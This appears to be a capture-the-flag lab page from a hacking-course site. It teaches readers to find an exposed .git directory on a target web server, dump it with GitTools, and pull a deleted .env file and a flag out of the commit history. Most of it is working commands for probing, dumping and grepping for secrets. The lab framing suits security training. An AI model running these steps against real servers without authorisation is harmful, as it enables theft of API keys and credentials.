A careless developer left their entire Git repository exposed on the web server. 💻 While the current code looks clean, the commit history tells a different story filled with accidentally committed secrets, API keys, and sensitive configuration data. Can you dig through the version control archaeology to uncover what they tried to hide? 🕵️♂️ This challenge will teach you essential Git forensics techniques used by security professionals worldwide. 🎯
Exposed Git repositories occur when developers accidentally deploy their .git directory to production servers or when repositories are misconfigured with public access. Even when sensitive files are removed from the current working directory, they often remain accessible in the Git history, making them recoverable through various Git forensics techniques.
# Common Git exposure checks:
curl -I http://<target-ip>/.git/
curl -I http://<target-ip>/.git/config
curl -I http://<target-ip>/.git/HEAD
# Download tools like git-dumper or GitTools can help:
git clone https://github.com/internetwache/GitTools.git
./GitTools/Dumper/gitdumper.sh http://<target-ip>/.git/ ./git-repo
# Navigate to the repository
cd git-repo
# Check current files
ls -la
# View repository status
git status
# Check current branch
git branch
# View commit history
git log --oneline
# Detailed commit history
git log --stat
# Show all commits with file changes
git log --name-status
# Show files that were deleted
git log --diff-filter=D --summary
# Show all file operations (add, modify, delete)
git log --name-status --oneline
# Find the commit hash for environment configuration
git log --grep="environment"
# Show the specific commit (replace COMMIT_HASH with actual hash)
git show 9a1e71a
# Alternative: Show the commit that added .env
git log --follow -- .env
# Show the .env file from the commit where it was added
git show 9a1e71a:.env
# Alternative method using commit reference
git show HEAD~2:.env
# Extract and view the .env file
git show 9a1e71a:.env
# Look for the FLAG variable
git show 9a1e71a:.env | grep FLAG
# Search for UUID patterns in all commits
git log -p | grep -E "[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}"
# Search for "flag" keyword in all commits
git log -p | grep -i flag
# Search for environment variables
git log -p | grep -E "^[A-Z_]+="
# List all Git objects
find .git/objects -type f
# Check for dangling commits or blobs
git fsck --full
# Show all references
git show-ref --heads --tags
# View reference log (if available)
git reflog
# Show all branch operations
git reflog --all
This Git Secrets Hunter challenge demonstrates the critical security risks associated with exposed Git repositories and improper secret management. By simulating a realistic penetration testing scenario, the challenge teaches essential Git forensics techniques used by security professionals to recover sensitive data from version control systems. Understanding these attack vectors is crucial for both offensive security testing and implementing proper defensive measures in development workflows.
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.